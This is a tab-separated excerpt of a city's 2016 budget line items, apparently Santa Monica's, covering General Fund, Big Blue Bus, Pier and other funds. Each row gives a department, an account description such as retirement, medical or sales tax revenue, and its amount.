19079	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	1512	0	0	0	0	0	0	0	0	0	0	0	1512
19080	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	300000	0	0	0	0	0	0	0	0	0	0	0	300000
19081	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	4449	0	0	0	0	0	0	0	0	0	0	0	4449
19082	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	3487	0	0	0	0	0	0	0	0	0	0	0	3487
19083	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	560000.0	COMMUNITY DEVELOPMENT PROGRAM	810.0	 Supplies and Expenses	2016	7386032	0	0	0	0	0	0	0	0	0	0	0	7386032
19084	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2016	256942	0	0	0	0	0	0	0	0	0	0	0	256942
19085	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2016	81069	0	0	0	0	0	0	0	0	0	0	0	81069
19086	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
19087	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522544.0	GRAPHIC DESIGN		 Supplies and Expenses	2016	9000	0	0	0	0	0	0	0	0	0	0	0	9000
19088	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	7140	0	0	0	0	0	0	0	0	0	0	0	7140
19089	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522710.0	AUTO REIMBURSEMENT	804.0	 Supplies and Expenses	2016	36477	0	0	0	0	0	0	0	0	0	0	0	36477
19090	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402060.0	STA SALES TAX -OPERATING	658.0	Sales Tax	2016	-2948342	0	0	0	0	0	0	0	0	0	0	0	-2948342
19091	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404220.0	OTHER OPER REV-MISCELLANEOUS	650.0	Charges for Service	2016	-44000	0	0	0	0	0	0	0	0	0	0	0	-44000
19092	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405820.0	PROP C - BSIP	658.0	Sales Tax	2016	-782418	0	0	0	0	0	0	0	0	0	0	0	-782418
19093	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401230.0	COMMUNITY GARDENS RENTALS	618.0	Rentals	2016	-12000	0	0	0	0	0	0	0	0	0	0	0	-12000
19094	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555020.0	OUTSIDE SERVICE-SECURITY		 Supplies and Expenses	2016	489500	0	0	0	0	0	0	0	0	0	0	0	489500
19095	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE	910.0	 Supplies and Expenses	2016	103310	0	0	0	0	0	0	0	0	0	0	0	103310
19096	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		PRINTING - GENERAL		 Supplies and Expenses	2016	28665	0	0	0	0	0	0	0	0	0	0	0	28665
19097	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2016	2171	0	0	0	0	0	0	0	0	0	0	0	2171
19098	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400220.0	MEMORIAL PARK GYM USER FEE	612.0	Charges for Service	2016	-21600	0	0	0	0	0	0	0	0	0	0	0	-21600
19099	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2016	-88000	0	0	0	0	0	0	0	0	0	0	0	-88000
19100	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	388159	0	0	0	0	0	0	0	0	0	0	0	388159
19101	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511749.0	VISION	840.0	Salaries and Wages	2016	1045	0	0	0	0	0	0	0	0	0	0	0	1045
19102	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	7000	0	0	0	0	0	0	0	0	0	0	0	7000
19103	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	169	0	0	0	0	0	0	0	0	0	0	0	169
19104	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2016	51000	0	0	0	0	0	0	0	0	0	0	0	51000
19105	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	706131	0	0	0	0	0	0	0	0	0	0	0	706131
19106	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511490.0	OVERTIME		Salaries and Wages	2016	14982	0	0	0	0	0	0	0	0	0	0	0	14982
19107	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511490.0	OVERTIME		Salaries and Wages	2016	6448	0	0	0	0	0	0	0	0	0	0	0	6448
19108	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	26469	0	0	0	0	0	0	0	0	0	0	0	26469
19109	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
19110	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522545.0	AD SALES (BBB)		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19111	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	218803	0	0	0	0	0	0	0	0	0	0	0	218803
19112	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	501917	0	0	0	0	0	0	0	0	0	0	0	501917
19113	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	247242	0	0	0	0	0	0	0	0	0	0	0	247242
19114	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	8850	0	0	0	0	0	0	0	0	0	0	0	8850
19115	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	650016	0	0	0	0	0	0	0	0	0	0	0	650016
19116	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	363779	0	0	0	0	0	0	0	0	0	0	0	363779
19117	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	107866	0	0	0	0	0	0	0	0	0	0	0	107866
19118	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	1696410	0	0	0	0	0	0	0	0	0	0	0	1696410
19119	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	102341	0	0	0	0	0	0	0	0	0	0	0	102341
19120	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511749.0	VISION	806.0	Salaries and Wages	2016	4159	0	0	0	0	0	0	0	0	0	0	0	4159
19121	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	23871	0	0	0	0	0	0	0	0	0	0	0	23871
19122	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	8409	0	0	0	0	0	0	0	0	0	0	0	8409
19123	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	540	0	0	0	0	0	0	0	0	0	0	0	540
19124	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2016	7650	0	0	0	0	0	0	0	0	0	0	0	7650
19125	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2016	11000	0	0	0	0	0	0	0	0	0	0	0	11000
19126	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		SAFETY EXPENSES		 Supplies and Expenses	2016	5500	0	0	0	0	0	0	0	0	0	0	0	5500
19127	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2016	3263031	0	0	0	0	0	0	0	0	0	0	0	3263031
19128	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2016	12658	0	0	0	0	0	0	0	0	0	0	0	12658
19129	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2016	1908	0	0	0	0	0	0	0	0	0	0	0	1908
19130	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400682.0	MEDICAL SUPPLIES REIMBURSEMENT	612.0	Charges for Service	2016	-88025	0	0	0	0	0	0	0	0	0	0	0	-88025
19131	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2016	7319098	0	0	0	0	0	0	0	0	0	0	0	7319098
19132	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2016	3062690	0	0	0	0	0	0	0	0	0	0	0	3062690
19133	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2016	3617	0	0	0	0	0	0	0	0	0	0	0	3617
19134	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	200902	0	0	0	0	0	0	0	0	0	0	0	200902
19135	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	270875	0	0	0	0	0	0	0	0	0	0	0	270875
19136	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19137	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	1569064	0	0	0	0	0	0	0	0	0	0	0	1569064
19138	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402750.0	TDA SALES TAX-OPERATIONS	658.0	Sales Tax	2016	-19261530	0	0	0	0	0	0	0	0	0	0	0	-19261530
19139	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404210.0	OTHER OPER REV-ADVERTISING	650.0	Charges for Service	2016	-2000000	0	0	0	0	0	0	0	0	0	0	0	-2000000
19140	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407340.0	US TREASURY REIMBURSEMENTS	610.0	Intergovernmental	2016	-41120	0	0	0	0	0	0	0	0	0	0	0	-41120
19141	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522318.0	SAFETY & SERVICE AWARDS		 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
19142	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400400.0	FIELD CONCESSION & STORAGE	612.0	Charges for Service	2016	-19800	0	0	0	0	0	0	0	0	0	0	0	-19800
19143	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522840.0	FUEL AND OIL TAXES-SVC EQUIP		 Supplies and Expenses	2016	15682	0	0	0	0	0	0	0	0	0	0	0	15682
19144	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511970.0	OTHER FRINGE BENEFITS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19145	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511749.0	VISION		Salaries and Wages	2016	1175	0	0	0	0	0	0	0	0	0	0	0	1175
19146	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	26908	0	0	0	0	0	0	0	0	0	0	0	26908
19147	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	327420	0	0	0	0	0	0	0	0	0	0	0	327420
19148	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2016	21460	0	0	0	0	0	0	0	0	0	0	0	21460
19149	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	2051	0	0	0	0	0	0	0	0	0	0	0	2051
19150	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2016	10850	0	0	0	0	0	0	0	0	0	0	0	10850
19151	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2016	2584727	0	0	0	0	0	0	0	0	0	0	0	2584727
19152	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2016	45165	0	0	0	0	0	0	0	0	0	0	0	45165
19153	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19154	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	42234	0	0	0	0	0	0	0	0	0	0	0	42234
19155	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	221410	0	0	0	0	0	0	0	0	0	0	0	221410
19156	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	12320	0	0	0	0	0	0	0	0	0	0	0	12320
19157	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	38660	0	0	0	0	0	0	0	0	0	0	0	38660
19158	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2016	-30000	0	0	0	0	0	0	0	0	0	0	0	-30000
19159	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555090.0	SPECIAL INSPECTOR PROGRAM	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19160	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407560.0	SPECIAL INSPECTION FEES	612.0	Charges for Service	2016	-20000	0	0	0	0	0	0	0	0	0	0	0	-20000
19161	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511681.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19162	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2016	3788	0	0	0	0	0	0	0	0	0	0	0	3788
19163	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2016	109	0	0	0	0	0	0	0	0	0	0	0	109
19164	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2016	1538	0	0	0	0	0	0	0	0	0	0	0	1538
19165	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	1627	0	0	0	0	0	0	0	0	0	0	0	1627
19166	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2016	4512	0	0	0	0	0	0	0	0	0	0	0	4512
19167	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522151.0	STORMWATER MANAGEMENT-GF	804.0	 Supplies and Expenses	2016	7053	0	0	0	0	0	0	0	0	0	0	0	7053
19168	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404080.0	INTEREST - CAPITAL	659.0	Investment Income	2016	-145412	0	0	0	0	0	0	0	0	0	0	0	-145412
19169	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404280.0	PROP A LOCAL RETURN	658.0	Sales Tax	2016	-426888	0	0	0	0	0	0	0	0	0	0	0	-426888
19170	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2016	11252	0	0	0	0	0	0	0	0	0	0	0	11252
19171	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2016	-5000	0	0	0	0	0	0	0	0	0	0	0	-5000
19172	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522974.0	LNG FUEL-REVENUE VEHICLES		 Supplies and Expenses	2016	5978251	0	0	0	0	0	0	0	0	0	0	0	5978251
19173	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566130.0	POLICE ADMIN-DONATION	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19174	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	1076910	0	0	0	0	0	0	0	0	0	0	0	1076910
19175	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	168226	0	0	0	0	0	0	0	0	0	0	0	168226
19176	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	15860	0	0	0	0	0	0	0	0	0	0	0	15860
19177	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	148445	0	0	0	0	0	0	0	0	0	0	0	148445
19178	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	10620	0	0	0	0	0	0	0	0	0	0	0	10620
19179	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	177816	0	0	0	0	0	0	0	0	0	0	0	177816
19180	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2016	204188	0	0	0	0	0	0	0	0	0	0	0	204188
19181	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2016	505165	0	0	0	0	0	0	0	0	0	0	0	505165
19182	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2016	12390	0	0	0	0	0	0	0	0	0	0	0	12390
19183	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511748.0	DENTAL	806.0	Salaries and Wages	2016	33774	0	0	0	0	0	0	0	0	0	0	0	33774
19184	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19185	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	14160	0	0	0	0	0	0	0	0	0	0	0	14160
19186	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	88664	0	0	0	0	0	0	0	0	0	0	0	88664
19187	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	64044	0	0	0	0	0	0	0	0	0	0	0	64044
19188	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	14020	0	0	0	0	0	0	0	0	0	0	0	14020
19189	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	37100	0	0	0	0	0	0	0	0	0	0	0	37100
19190	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	692288	0	0	0	0	0	0	0	0	0	0	0	692288
19191	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	138204	0	0	0	0	0	0	0	0	0	0	0	138204
19192	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	19470	0	0	0	0	0	0	0	0	0	0	0	19470
19193	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511748.0	DENTAL	806.0	Salaries and Wages	2016	180512	0	0	0	0	0	0	0	0	0	0	0	180512
19194	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	126312	0	0	0	0	0	0	0	0	0	0	0	126312
19195	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2016	19400	0	0	0	0	0	0	0	0	0	0	0	19400
19196	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2016	348659	0	0	0	0	0	0	0	0	0	0	0	348659
19197	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2016	827883	0	0	0	0	0	0	0	0	0	0	0	827883
19198	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2016	138931	0	0	0	0	0	0	0	0	0	0	0	138931
19199	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511749.0	VISION	806.0	Salaries and Wages	2016	23489	0	0	0	0	0	0	0	0	0	0	0	23489
19200	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2016	11271	0	0	0	0	0	0	0	0	0	0	0	11271
19201	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2016	8535	0	0	0	0	0	0	0	0	0	0	0	8535
19202	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511748.0	DENTAL	804.0	Salaries and Wages	2016	5404	0	0	0	0	0	0	0	0	0	0	0	5404
19203	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511749.0	VISION	804.0	Salaries and Wages	2016	737	0	0	0	0	0	0	0	0	0	0	0	737
19204	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511747.0	CASH-IN-LIEU	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19205	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	3077	0	0	0	0	0	0	0	0	0	0	0	3077
19206	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	200	0	0	0	0	0	0	0	0	0	0	0	200
19207	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404770.0	PROP C LOCAL RETURN	610.0	Intergovernmental	2016	-1394160	0	0	0	0	0	0	0	0	0	0	0	-1394160
19208	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2016	17850	0	0	0	0	0	0	0	0	0	0	0	17850
19209	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2016	30090	0	0	0	0	0	0	0	0	0	0	0	30090
19210	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	149685	0	0	0	0	0	0	0	0	0	0	0	149685
